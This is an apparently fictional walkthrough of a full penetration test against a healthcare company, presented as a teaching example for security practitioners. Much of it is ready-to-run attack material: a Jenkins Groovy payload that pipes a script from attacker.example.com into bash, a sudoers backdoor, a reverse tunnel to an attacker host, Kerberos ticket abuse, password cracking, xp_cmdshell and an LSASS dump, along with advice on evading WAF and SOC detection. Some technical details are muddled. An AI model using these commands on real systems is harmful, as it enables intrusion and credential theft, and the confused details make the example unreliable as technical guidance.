Comprehensive Worked Example: End-to-End Enterprise Penetration Test

Engagement Context and Rules of Engagement

MediHealth Associates presents a realistic target profile: 500 employees, hybrid Azure AD/on-premises infrastructure, externally monitored SOC with 15-minute detection SLAs, and an MSSP handling Tier-1 response. Our scoped engagement permits external network penetration, web application assessment, and internal lateral movement simulation. Explicitly prohibited: production EHR system disruption, ransomware deployment, and actual PHI extraction—we simulate exfiltration using synthetic data markers.

We establish encrypted communications through a pre-placed Cobalt Strike beacon for Command and Control (C2), configured with Malleable C2 profiles mimicking Microsoft Teams traffic to blend with legitimate healthcare collaboration patterns.

Phase 1: Open Source Intelligence and External Enumeration

Tool Selection: theHarvester, SpiderFoot, Shodan CLI, custom Python wrappers

Our reconnaissance begins two weeks before any packet touches the target. theHarvester identifies 347 valid email addresses and confirms Office 365 tenant usage through MX record analysis.

theHarvester -d medihealthassociates.com -b all -f th_results.json

Critical finding emerges from GitHub commit history searching: a contractor's public repository contains sanitized configuration files with references to build.medihealthassociates.com and Jenkins version 2.289.1. Shodan corroborates exposure:

shodan host 203.0.113.47
# Jenkins 2.289.1 on Ubuntu 20.04.3 LTS, last seen 14 hours ago

Decision Branch: The Jenkins instance presents CVE-2021-21697 (Arbitrary file read via build parameters) and potentially CVE-2024-23897 (CLI argument parsing leading to arbitrary file read in newer configurations). We initially plan Metasploit's exploit/multi/http/jenkins_metaprogramming but discover during dry-run that MediHealth's WAF, operated by their MSSP, fingerprints Metasploit User-Agent strings. We pivot immediately to manual exploitation using Python requests with Chrome headers.

Phase 2: Initial Foothold — Jenkins to DMZ Web Server

Tool Selection: Custom Python script, curl, linPEAS

Our manual exploit chain executes through Jenkins' Groovy script console, which the contractor's leaked documentation confirmed remained accessible with default "authenticated" permissions:

#!/usr/bin/env python3
import requests
import urllib3
urllib3.disable_warnings()

JENKINS_URL = "https://build.medihealthassociates.com"
CREDS = ("contractor_leaked_user", "Spring2023!")

# Groovy payload to execute OS command via Script Console
groovy_payload = '''
def cmd = "curl http://attacker.example.com/dmz_web_recon.sh | bash"
def proc = cmd.execute()
proc.waitFor()
println proc.in.text
'''

r = requests.post(
    f"{JENKINS_URL}/script",
    auth=CREDS,
    data={"script": groovy_payload},
    verify=False,
    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
)

print(f"Status: {r.status_code}")
print(r.text[:500])

The payload succeeds. We receive callback to our C2 server from 10.0.50.12, confirmed as DMZ web server web-dmz-01.medihealth.local.

Unexpected Obstacle: linPEAS execution reveals AppArmor enforcement in complain mode, but more critically, outbound DNS is filtered except to 8.8.8.8 and 1.1.1.1. Our standard DNS C2 fails. We adapt by switching to HTTPS beaconing through Azure Front Door domains, which appear in MediHealth's proxy allow-list for Office 365 integration.

Phase 3: Privilege Escalation and Credential Access

Tool Selection: pspy, SharpUp (translated to Linux via .NET Core), manual kernel exploitation research

On web-dmz-01, pspy identifies a cron job executing as root: nightly backup script writable by www-data. We establish persistence through a simple sudoers modification:

echo 'www-data ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/99-backup-exploit

With root access, we extract AWS credentials from /root/.aws/credentials—the DMZ server performs S3 backups to s3://medihealth-backups-prod. These credentials reveal IAM role arn:aws:iam::123456789012:role/DMZBackupRole with s3:GetObject and s3:ListBucket permissions.

Phase 4: Internal Pivot — From DMZ to Corporate Network

Tool Selection: Chisel for SOCKS tunneling, BloodHound.py, Rubeus via SharpCollection

We establish tunnel through DMZ server's dual-homed interface:

# On attack server
./chisel server -p 8080 --reverse

# On compromised DMZ server (as root)
./chisel client attacker.example.com:8080 R:socks

BloodHound.py collection against on-premises Active Directory through the tunnel:

python3 bloodhound.py -c All -u '' -p '' -d medihealth.local \
  -dc dc01.medihealth.local -gc gc.medihealth.local \
  --dns-tcp --dns-timeout 30 --zip

Unexpected Obstacle: BloodHound reveals web-dmz-01$ computer account lacks constrained delegation but shows interesting ACL: Domain Users can read msDS-AllowedToDelegateTo on SQL-PROD-01$. However, direct Kerberoasting from DMZ triggers MSSP alert (Sigma rule: win_security_4769_high_volume). We adapt by:

  1. Extracting web-dmz-01$ TGT using Rubeus with /tgtdeleg to abuse current session
  2. Performing S4U2self to request forwardable TGS for SQL-PROD-01$
  3. Using obtained ticket for LDAP access to extract servicePrincipalName attributes
# Rubeus execution via execute-assembly in Cobalt Strike
Rubeus.exe asktgt /user:web-dmz-01$ /ticket:<base64_TGT> /ptt

Rubeus.exe s4u /ticket:<TGT> /impersonateuser:administrator 
  /msdsspn:cifs/sql-prod-01.medihealth.local /ptt

Phase 5: Domain Compromise via Kerberoasting

Tool Selection: Rubeus, Hashcat, Impacket's GetUserSPNs.py

With valid service ticket for SQL-PROD-01$, we identify three SQL service accounts with SPNs: sqlagent_prod, sql_reporting, and backup_sql. Kerberoasting proceeds at controlled pace—one TGS every 4 minutes to evade volume detection:

# Through SOCKS proxy
proxychains python3 GetUserSPNs.py -request -dc-ip 10.0.10.10 \
  medihealth.local/sqlagent_prod -outputfile sql_tgs_hashes.txt

Hashcat cracks sqlagent_prod in 3 hours using rockyou.txt with OneRule:

hashcat -m 13100 sql_tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r OneRuleToRuleThemAll.rule -O

Password: M3diHealth$ql2022!

This account holds sysadmin across all production SQL instances and SQLAgentOperator role, permitting xp_cmdshell execution. We achieve code execution on SQL-PROD-01 and dump LSASS memory with procdump:

# Via xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -enc <base64_procdump>';

Mimikatz offline extraction yields krbtgt hash—complete domain compromise achieved in 34 hours from initial Jenkins access.

Phase 6: PHI Exfiltration Simulation and Impact Assessment

Tool Selection: Custom PowerShell with synthetic data, DNS measurement for bandwidth estimation

With Domain Admin privileges, we access \\FILE-SERVER-01\PHI-Archive$ containing 2.3TB of patient records. Per engagement constraints, we do not exfiltrate actual data. Instead, we:

  1. Generate synthetic PHI markers (UUIDv4 "patient IDs" with checksums known to assessment team)
  2. Measure transfer capacity through ICMP timestamp requests to quantify potential exfiltration bandwidth
  3. Document accessible paths and inadequate DLP controls
# Measurement script (synthetic data generation)
$marker = "MH-ASSESSMENT-" + [Guid]::NewGuid().ToString()
$testData = @"
PATIENT_ID,SSN_PLACEHOLDER,RECORD_SIZE
$marker,123-45-6789,4.2MB
"@ | Set-Content "\\FILE-SERVER-01\PHI-Archive$\assessment_marker.csv"

# Verify accessibility from external simulation
Test-NetConnection -ComputerName 10.0.10.15 -Port 445

Phase 7: Reporting and Remediation Guidance

Executive Summary Structure:

Finding Risk Rating Business Impact Remediation Effort
Exposed Jenkins with Groovy console Critical Direct initial access vector; complete environment compromise Low (patch + network segmentation)
Kerberoastable service accounts High Domain escalation path; MSSP bypass demonstrated Medium (Managed Service Accounts)
Weak SQL service password policy High Lateral movement acceleration Low (14-char minimum + rotation)
Absent DLP on PHI archive Critical Regulatory violation exposure (HIPAA $1.5M+ penalties) High (data classification project)

Technical Report Components:

  1. Attack Chain Visualization: Mermaid diagram showing MITRE ATT&CK mapping (Initial Access: T1190, Credential Access: T1558.003, Lateral Movement: T1021.002)

  2. Command Reference Appendix: All executed commands with timestamps, hash values for forensic verification, and Cobalt Strike log excerpts

  3. Detection Gap Analysis: Specific Sigma rules bypassed, recommended Splunk queries for future detection:

# Recommended detection for S4U abuse
title: S4U2Self Abuse Detection
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketOptions: '0x40810000'
    TicketEncryptionType: '0x12'  # AES256
  filter_legitimate:
    - ServiceName|endswith: '$'
  condition: selection and not filter_legitimate

Retest Verification Planning:

  • Phase 1 (30 days): Jenkins removal verification, network segmentation validation via Nmap from external position
  • Phase 2 (60 days): BloodHound re-assessment for Kerberoastable accounts, gMSA implementation confirmation
  • Phase 3 (90 days): Purple team exercise with MSSP to validate detection improvements; expected MTTR reduction from 4 hours to 45 minutes for credential-based attacks

The engagement concludes with outbrief to CISO, CTO, and external audit committee. All synthetic markers are verified destroyed. Remediation priority: immediate patching of Jenkins (exploited within 48 hours of our notification despite initial vendor advisory being 18 months old), followed by identity infrastructure hardening given demonstrated MSSP monitoring bypass capabilities.